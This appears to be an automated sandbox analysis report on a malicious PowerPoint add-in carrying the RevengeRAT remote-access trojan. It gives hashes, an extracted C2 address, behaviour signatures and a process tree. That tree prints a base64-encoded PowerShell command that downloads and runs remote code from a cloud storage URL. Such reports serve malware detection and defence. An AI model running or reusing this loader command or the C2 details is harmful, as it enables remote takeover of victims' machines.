Analysis

  • max time kernel
    121s
  • max time network
    151s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    25-02-2024 05:17

General

  • Target

    b402239273ce6dbd40ac5087661d66176092a6f848fd521eea1ed2ad6012672c.ppam

  • Size

    16KB

  • MD5

    5e6c2b4b6bae7269c8127ae4368f0178

  • SHA1

    29299b7437a5225885af5c152c17955adba89511

  • SHA256

    b402239273ce6dbd40ac5087661d66176092a6f848fd521eea1ed2ad6012672c

  • SHA512

    fbf55d29917b5610ed0e95ba6bd7bad6beb08dd5eecb1c71848746fa387e30e2b9b2f0b952517249d9b2092d526fc8c7eb288a398b4319069529f94c69c6e71a

  • SSDEEP

    384:dXPz8GKfDSmH+V6WMxj7mV+ZOA9B0+6lZFUADrbA:VPoGKbSmHYCZOuB0+6vHY

Malware Config

Extracted

Family

revengerat

Botnet

NyanCatRevenge

C2

brasil.ddns.com.br:333

Mutex

5e241e476b334640a2f

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • RevengeRAT

    Remote-access trojan with a wide range of capabilities.

  • Blocklisted process makes network request 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\Admin\AppData\Local\Temp\b402239273ce6dbd40ac5087661d66176092a6f848fd521eea1ed2ad6012672c.ppam"
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of WriteProcessMemory
    PID:1908
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2480
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcABzADoALwAvAGYAaQByAGUAYgBhAHMAZQBzAHQAbwByAGEAZwBlAC4AZwBvAG8AZwBsAGUAYQBwAGkAcwAuAGMAbwBtAC8AdgAwAC8AYgAvAG0AYQBzAHQAZQByAC0AMgA3ADEAYgA4AC4AYQBwAHAAcwBwAG8AdAAuAGMAbwBtAC8AbwAvAGMAbABpAGUAbgB0AHgAeAB4AHgAeAB4AHgAeAB4AC4AagBwAGcAPwBhAGwAdAA9AG0AZQBkAGkAYQAmAHQAbwBrAGUAbgA9AGQAMQA1ADQAZgBmADcAZAAtAGYAMgAyADYALQA0ADgAZAAwAC0AYQA5AGQANwAtADEAMgAwADAANwA2ADQAYwBhAGIANABlAA0ACgAnACkAOwAgAA0ACgByAGUARQBhAFoAYQBIAEIAYQBGAHAAZABSAFEAUQB0AHYASQBoAHoAYQBuAEEATABPAGIAYgBCAHAAVgBUAE8ARABRAGUAdwBXAEIATQBZAGMAQgBKAGkASQBTAHoASwBKAEkAeQB0AHYAcABSAEMASwB0AHUAWQBCAGgAbwBHAGkAQgBIAGEATABGAEEAUgBXAGsAVwANAAoA""
        2⤵
        • Process spawned unexpected child process
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1104
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
          3⤵
          • Checks processor information in registry
          PID:2324

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1104-22-0x00000000023D0000-0x0000000002410000-memory.dmp
      Filesize

      256KB

    • memory/1104-53-0x000000006B320000-0x000000006B8CB000-memory.dmp
      Filesize

      5.7MB

    • memory/1104-35-0x0000000002100000-0x0000000002101000-memory.dmp
      Filesize

      4KB

    • memory/1104-34-0x00000000020C0000-0x00000000020D8000-memory.dmp
      Filesize

      96KB

    • memory/1104-32-0x00000000020C0000-0x00000000020D8000-memory.dmp
      Filesize

      96KB

    • memory/1104-30-0x00000000020C0000-0x00000000020D8000-memory.dmp
      Filesize

      96KB

    • memory/1104-23-0x00000000020C0000-0x00000000020D8000-memory.dmp
      Filesize

      96KB

    • memory/1104-28-0x00000000020C0000-0x00000000020D8000-memory.dmp
      Filesize

      96KB

    • memory/1104-24-0x00000000020C0000-0x00000000020D8000-memory.dmp
      Filesize

      96KB

    • memory/1104-26-0x00000000020C0000-0x00000000020D8000-memory.dmp
      Filesize

      96KB

    • memory/1104-19-0x000000006B320000-0x000000006B8CB000-memory.dmp
      Filesize

      5.7MB

    • memory/1104-20-0x00000000023D0000-0x0000000002410000-memory.dmp
      Filesize

      256KB

    • memory/1104-21-0x000000006B320000-0x000000006B8CB000-memory.dmp
      Filesize

      5.7MB

    • memory/1908-16-0x0000000004550000-0x0000000004650000-memory.dmp
      Filesize

      1024KB

    • memory/1908-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1908-15-0x0000000004550000-0x0000000004650000-memory.dmp
      Filesize

      1024KB

    • memory/1908-14-0x0000000004550000-0x0000000004650000-memory.dmp
      Filesize

      1024KB

    • memory/1908-13-0x000000007229D000-0x00000000722A8000-memory.dmp
      Filesize

      44KB

    • memory/1908-12-0x0000000004550000-0x0000000004650000-memory.dmp
      Filesize

      1024KB

    • memory/1908-10-0x0000000004550000-0x0000000004650000-memory.dmp
      Filesize

      1024KB

    • memory/1908-6-0x0000000004550000-0x0000000004650000-memory.dmp
      Filesize

      1024KB

    • memory/1908-2-0x000000007229D000-0x00000000722A8000-memory.dmp
      Filesize

      44KB

    • memory/1908-56-0x000000007229D000-0x00000000722A8000-memory.dmp
      Filesize

      44KB

    • memory/1908-55-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1908-0-0x000000002D261000-0x000000002D262000-memory.dmp
      Filesize

      4KB

    • memory/2324-39-0x0000000000090000-0x000000000009A000-memory.dmp
      Filesize

      40KB

    • memory/2324-41-0x000000007EFDE000-0x000000007EFDF000-memory.dmp
      Filesize

      4KB

    • memory/2324-44-0x0000000000090000-0x000000000009A000-memory.dmp
      Filesize

      40KB

    • memory/2324-45-0x0000000000090000-0x000000000009A000-memory.dmp
      Filesize

      40KB

    • memory/2324-49-0x0000000000090000-0x000000000009A000-memory.dmp
      Filesize

      40KB

    • memory/2324-52-0x0000000000090000-0x000000000009A000-memory.dmp
      Filesize

      40KB

    • memory/2324-40-0x0000000000090000-0x000000000009A000-memory.dmp
      Filesize

      40KB

    • memory/2324-54-0x0000000066FE0000-0x00000000676CE000-memory.dmp
      Filesize

      6.9MB

    • memory/2324-38-0x0000000000090000-0x000000000009A000-memory.dmp
      Filesize

      40KB

    • memory/2324-36-0x0000000000090000-0x000000000009A000-memory.dmp
      Filesize

      40KB

    • memory/2324-57-0x0000000000340000-0x0000000000380000-memory.dmp
      Filesize

      256KB

    • memory/2324-58-0x0000000066FE0000-0x00000000676CE000-memory.dmp
      Filesize

      6.9MB